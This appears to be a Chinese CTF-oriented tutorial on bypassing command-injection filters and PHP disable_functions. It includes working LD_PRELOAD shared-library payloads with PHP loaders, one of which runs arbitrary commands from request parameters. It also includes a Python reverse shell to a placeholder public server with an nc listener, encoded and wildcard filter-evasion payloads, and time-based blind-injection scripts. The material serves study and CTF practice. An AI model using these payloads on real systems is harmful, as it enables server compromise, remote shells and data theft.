浅谈命令执行的绕过方法

 

0x00 前言

命令执行漏洞已经学过很久了,但一直没有系统地简单总结一下命令执行的绕过方法。这里简单归纳总结一下:

 

0x01 常见的命令执行函数

因为之前已经详细总结过,这里只总结一些常见的:

system()    #输出并返回最后一行shell结果。
exec()      #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。
passthru()  #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出
反引号       #实际上是使用shell_exec()函数

 

0x02 常见命令分隔符、终止符和截断符号

在命令执行漏洞的考察中,主要用到了命令分隔符

1、命令分隔符

windows: &&  ||  &  | 
linux:   &&  ||  &  |   ;
#分号;在shell中担任连续指令的功能
#下面的需php环境
%0a 换行符
%0d 回车符

2、命令终止符

#需php环境
%00
%20#

3、截断符号

$
;
|
&
-
(
)
{
}
反引号
||
&&
%0a #有时可当空格使用

 

0x03 命令执行绕过

一般情况下,遇到的命令执行绕过我简单总结成以下主要的四种情况:

1.disable_function
2.过滤字符
3.命令盲注
4.无回显的命令执行

1、disable_function

php.ini文件里,使用disable_function选项,可以禁用一些PHP危险函数。

通过查看phpinfo信息,可以浏览器上看到disable_function禁用的函数。

当我们发现一个可以代码执行的地方,传入命令执行函数去执行系统命令,发现并不能成功,原因就是在php.ini文件里使用disable_function选项禁用了命令执行有关的危险函数。如对disable_function进行如下配置:

disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

查阅大师傅的博客,发现绕过disable_function有以下两种最常用的方法:

1.ld_preload
2.php_gc

1.ld_preload

利用场景:实现了代码执行,未实现命令执行,且没有禁用mail函数
利用条件
(1)没有禁用mail函数。
(2)站点根目录具有写文件权限
或其他目录具有写文件权限,并且可以在url上跳转到其他目录访问上传的php文件
或其他目录具有写文件权限,利用代码执行实现本地文件包含,包含最后要访问的php文件
相关知识
LD_PRELOAD 劫持系统函数

LD_PRELOAD 是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

php中的mail、error_log函数是通过调用系统中的sendmail命令实现的(其他类似php中的函数还有imap_mail、mb_send_mail参考),sendmail二进制文件中使用了getuid库函数,这样我们可以覆盖getuid函数。

利用过程1
于是可以通过利用环境变量LD_PRELOAD劫持系统函数,让外部程序加载恶意的.so文件,达到执行系统命令的效果。具体步骤如下:
(1)编写一个c文件,实现我们自己的动态链接程序
hack1.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(){
    system("ls /var/www/html > /tmp/smity");
}
int geteuid()
{
    if(getenv("LD_PRELOAD") == NULL){ return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

通过设置preload可以劫持比较底层的函数。这里劫持了geteuid函数
(2)将带有系统命令的c文件hack1.c编译成为一个动态共享库,生成.so文件hack1.so

gcc -c -fPIC hack1.c -o hack1
gcc --share hack1 -o hack1.so

(3)通过putenv设置LD_PRELOAD,让hack1.so优先被调用。并通过mail函数发送一封邮件来触发。
qwzf1.php

<?php
putenv("LD_PRELOAD=/tmp/hack1.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack1.so"); /*假设站点根目录下具有写权限*/
mail('','','',''); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了geteuid库函数。调用.so文件里的geteuid函数,实现覆盖geteuid函数。
?>

(4)如果站点根目录有文件写入权限,直接利用代码执行(或蚁剑上传)在站点根目录传入hack1.soqwzf1.php文件。访问php文件,就会运行刚才c文件里写的ls命令,最后就可以在/tmp/smity文件中看到ls的结果了。
然而,使用蚁剑上传hack1.soqwzf1.php文件,发现站点根目录并没有文件写入权限。同时发现/tmp/目录具有文件写入权限。
于是我考虑使用蚁剑上传hack1.soqwzf1.php文件到/tmp/目录下,然后利用代码执行实现文件包含漏洞包含qwzf1.php文件,实现访问php文件的效果:

?code=include('/tmp/qwzf1.php');

查看/tmp/smity

上面实现了劫持函数绕过disable_function。

利用过程2
但如果需要执行多条命令,一步一步的操作似乎有点麻烦,有什么好方法可以只需编译一次c文件,连续执行任意命令呢?
查阅大师傅博客发现:可以通过设置EVIL_CMDLINE环境变量的方式实现。大致步骤和上面的差不多,只不过 c文件和php文件的文件内容变了
(1)hack2.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int geteuid()
{
    const char* cmdline = getenv("EVIL_CMDLINE"); //获得系统的环境变量EVIL_CMDLINE
    if(getenv("LD_PRELOAD") == NULL){ return 0; }
    unsetenv("LD_PRELOAD"); //删除系统变量
    system(cmdline);
}

(2)将c文件编译成动态链接库:

gcc -shared -fPIC hack2.c -o hack2.so

(3)qwzf2.php

<?php
$cmd = $_REQUEST["cmd"]; //要执行的系统命令
$out_path = $_REQUEST["outpath"]; //命令执行结果输出到指定路径下的文件
$evil_cmdline = $cmd." > ".$out_path." 2>&1"; //2>&1将标准错误重定向到标准输出
echo "<br /><b>cmdline: </b>".$evil_cmdline; //打印显示实际在linux上执行的命令
putenv("EVIL_CMDLINE=".$evil_cmdline); //将执行的命令,配置成系统环境变量EVIL_CMDLINE

$so_path = $_REQUEST["sopath"]; //传入.so文件
putenv("LD_PRELOAD=".$so_path); //将.so文件路径配置成系统环境变量LD_PRELOAD
mail("", "", "", ""); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了getuid库函数。调用.so文件里的getuid函数,实现覆盖getuid函数。

echo "<br /><b>output: </b><br />".nl2br(file_get_contents($out_path));
//nl2br()函数在字符串中的每个新行(\n)之前插入HTML换行符
//file_get_contents() 把整个文件读入一个字符串中。即把最后命令执行结果从文件读取成字符串
?>

(4)将hack2.so文件和qwzf2.php文件,通过代码执行写入(或使用蚁剑直接上传)具有写入权限的目录。
然后在浏览器上测试:

http://x.x.x.165:8001/?code=include('/tmp/qwzf2.php');
post: cmd=ls&outpath=/tmp/test&sopath=/tmp/hack2.so

测试成功!

利用过程3
有没有一种方法可以不劫持函数绕过 disable_function呢?
查阅大师傅博客发现了不劫持函数绕过 disable_function的方法:

GCC 有个 C 语言扩展修饰符attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行attribute((constructor)) 修饰的函数。

只需要找到php环境中存在执行系统命令的函数、且putenv函数未被禁用的情况下,就可以绕过disable_function。
(1)hack3.c

#include <unistd.h>

void payload(void){
    system("ls /var/www/html > /tmp/smity");
}
__attribute__ ((__constructor__)) void exec(void){
    if (getenv("LD_PRELOAD") == NULL){ return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    return 0;
}

(2)将c文件编译成动态链接库:

gcc -shared -fPIC hack3.c -o hack3.so

(3)qwzf3.php

<?php
putenv("LD_PRELOAD=/tmp/hack3.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack3.so"); /*假设站点根目录下具有写权限*/
mail('','','','');
?>

(4)将hack3.soqwzf3.php写入到具有文件写入权限的目录下,利用代码执行实现文件包含访问

?code=include('/tmp/qwzf3.php');

查看/tmp/smity文件,得到命令执行结果

2.php_gc

利用场景:实现了代码执行,未实现命令执行
利用条件:php7.0 < 7.3
一般步骤

  1. 利用蚁剑连接shell代码执行
  2. 将下面的脚本写好命令传上去然后访问
  3. 利用phpgc进程Bypass

脚本地址

3.利用pcntl_exec函数

利用场景:实现了代码执行,未实现命令执行,且没有禁用pcntl_exec函数
利用条件:PHP 4 >= 4.2.0, PHP 5
相关知识

pcntl是linux下的一个扩展,可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序

一般步骤

  1. 利用蚁剑连接shell代码执行
  2. 将下面的php代码传上去然后访问
  3. 在公网服务器监听端口,实现反弹shell

利用代码

<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("公网服务器IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

监听利用代码中填写的端口

nc -lvvp 4444

不想再重新搭建环境,所以这个地方没进行复现。。。

2、绕过过滤字符

1.空格绕过

${IFS}
$IFS$9 #$9可改成$加其他数字
< 
<>     #重定向符
{cat,flag.php}  #用逗号,实现了空格功能

%20
%09

1.${IFS}
这算是Linux中的一个变量

Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

花括号的别样用法
在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,如{mv,文件1,文件2}

2.黑名单绕过

假设黑名单里有flag

(1)拼接
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b

#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b

(2)编码绕过
#1.base64编码:cat flag.php -> Y2F0IGZsYWcucGhw
`echo "Y2F0IGZsYWcucGhw"|base64 -d`
$(echo "Y2F0IGZsYWcucGhw"|base64 -d)
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
echo "Y2F0IGZsYWcucGhw"|base64 -d|sh

#2.hex编码:cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
#-r参数:逆向转换。将16进制字符串表示转为实际的数
#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。
#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。

#3.shellcode编码:cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")
{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash
`{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`

(3)利用已存在资源

如:从已有的文件或者环境变量中获得相应的字符

(4)单引号、双引号绕过
cat fl''ag.php
cat fl""ag.php
c''at fl''ag.php
c""at fl""ag.php

(5)反斜杠绕过
cat fl\ag.php
c\at fl\ag.php

(6)利用shell特殊变量绕过
#特殊变量有:
$1到$9、$@和$*等

cat fl$1ag.php
cat fl$@ag.php

3.文件读取绕过

文件读取,最常用的就是cat命令。如果cat被过滤,可以使用下面命令替代:

more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,不加选项默认输出八进制
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
more/less/head/tac/tail/nl/vi/vim/uniq/file -f/sort flag.php

上边的命令执行后,都可以在输出结果中看到flag。
而od命令可通过添加-c选项输出字符串内容:

od -c flag.php

od命令

4.通配符绕过

参考:命令执行绕过之Linux通配符

cat *
cat f*
/???/?at flag.php #/bin/cat flag.php
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/[:lower:]s #ls
等等。。。

5.内敛执行绕过

内敛,就是将`命令`或$(命令)内命令的输出作为输入执行
cat `ls`
cat $(ls)

6.长度限制绕过(文件构造绕过)

通常利用ls -t>>>换行符\绕过长度限制

使用ls -t命令,可以将文件名按照时间顺序排列出来(后创建的排在前面)
使用>,可以将命令结果存入文件中
使用>>,可以将字符串添加到文件内容末尾,不会覆盖原内容
使用换行符\,可以将一条命令写在多行

测试一下ls -t>a命令

ls -t>a #会发现先创建文件名为a的文件,然后把ls -t的结果输入到文件a中

于是,根据以下原理,实现文件构造绕过:

linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

(1)先创建文件名可以连接成要执行命令的空文件(由于ls -t命令,所以要注意文件创建顺序)

>"php"
> "ag.\\"
> "fl\\"
> "t \\"
> "ca\\"

#为什么要两个反斜杠呢?我理解的是:用前1个反斜杠转义后1个反斜杠。如果只有一个反斜杠会转义后边的双引号",从而使空文件创建失败

(2)执行ls -t>qwzf将目录下的文件名按时间排序后写进qwzf文件里

ls -t>qwzf
#如果创建空文件时,创建了点.开头的文件,上边命令要添加-a选项将隐藏文件也写入qwzf,即
ls -at>qwzf

(3)执行sh qwzf命令,从qwzf文件中读取命令来执行

sh qwzf

长度限制绕过也可用于反弹shell命令和wget 网址 -O webshell.php命令

3、命令盲注

服务器未联网,无回显,无法利用自己总结的无回显命令执行,无写入权限和无法getshell等情况下,可以通过枚举/二分查找暴力查询flag。
这个主要是在DASCTF 五月赛[Web 棒棒小红花]看到师傅们的这个操作。先贴上大师傅写的命令盲注脚本:

import requests
import time
url = "http://183.129.189.60:10070/?imagin="
requests.adapters.DEFAULT_RETRIES = 3 # 最大重连次数防止出问题

SLEEP_TIME = 0.25 
kai_shi = time.time()
flag=""
i = 0 # 计数器
print("[start]: -------")

while( True ):
    head = 32
    tail = 127
    i += 1

    while ( head < tail ) :
        mid = ( head + tail ) >> 1
        payload = '''h3zh1=$( cat /flag | cut -c %d-%d );if [ $( printf '%%d' "'$h3zh1" ) -gt %d ];then sleep %f;fi''' % ( i, i, mid, SLEEP_TIME)

        start_time = time.time() # 开始
        r = requests.get(url+payload)
        end_time = time.time() # 结束
        #print(payload)

        if ( end_time - start_time > SLEEP_TIME ) : 
            head = mid + 1
        else :
            tail = mid

    if head!=32:
        flag += chr(head)
        print("[+]: "+flag)
    else:
        break

print("[end]: "+flag)
jie_shu = time.time()

print("程序运行时间:"+str(jieshu - kaishi))

参考上边大师傅写的脚本,写出我自己的通用脚本:

import requests
import time

url = "http://39.105.93.165:8003/?ip=;"
requests.adapters.DEFAULT_RETRIES = 3 # 设置最大重连次数,防止出问题
sleep_time = 0.3 #睡眠时间
flag=""
i = 0 # 计数器
begin_time = time.time() #程序运行开始时间

print("--------程序开始运行--------\n")
while( True ):
        head = 32
        tail = 127
        i += 1

        while ( head < tail ) :
                mid = ( head + tail ) >> 1 #>>位运算符,换成二进制并右移1位。相当于取中间数
                payload = '''qwzf=$(cat flag.php|cut -c %d-%d );(if [ $( printf '%%d' "'$qwzf" ) -gt %d ];then sleep %f;fi)'''% (i,i,mid,sleep_time)
                '''
        payload中的命令详解:
            cat flag.php查看flag.php文件内容
            cut -c 1-1剪切第1到第1个字符
            printf '%%d' "'$qwzf"将字符转换成ASCII
                    -gt大于
                '''
                start_time = time.time() #请求开始时间
                r = requests.get(url+payload)
                end_time = time.time() #响应结束时间
                #print(payload)

                if ( end_time - start_time > sleep_time ) : #符合的字符ascii值在中间数后半部分
                        head = mid + 1
                else :                               #符合的字符ascii值在前半部分
                        tail = mid

        if head != 125: #}的ASCII码是125
                flag += chr(head)
                print("[+]:"+flag)
        else:
                print("[+]:"+flag+"}")
                break

print("最后结果: "+flag+"}")
finishe_time = time.time() #程序运行结束时间
print("程序运行时间:"+str(finishe_time - begin_time))

我自己参考写的脚本和大师傅的脚本基本没什么变化,只是简单分析和修改了一下源码,然后进行了一下测试:

 

0x04 后记

本次学习的内容,概括如下:
1.绕过disable_function的方法ld_preloadphp_gc
2.绕过过滤字符包括:空格绕过黑名单绕过文件读取绕过通配符绕过内敛执行绕过长度限制绕过(文件构造绕过)
其中黑名单绕过包括:拼接编码绕过利用已存在资源单、双引号绕过反斜杠绕过利用shell特殊变量绕过
3.命令盲注
4.无回显命令执行绕过
参考之前我写过的文章:浅谈PHP无回显命令执行的利用

参考博客:
绕过disable_function总结
PHP Webshell下绕过disable_function的方法
命令执行的一些绕过技巧
CTF中的命令执行绕过
浅谈CTF中命令执行与绕过的小技巧
命令执行漏洞利用及绕过方式总结
命令执行漏洞,绕过过滤姿势
命令执行绕过之Linux通配符
DAS X BJD3rd(2解)

(完)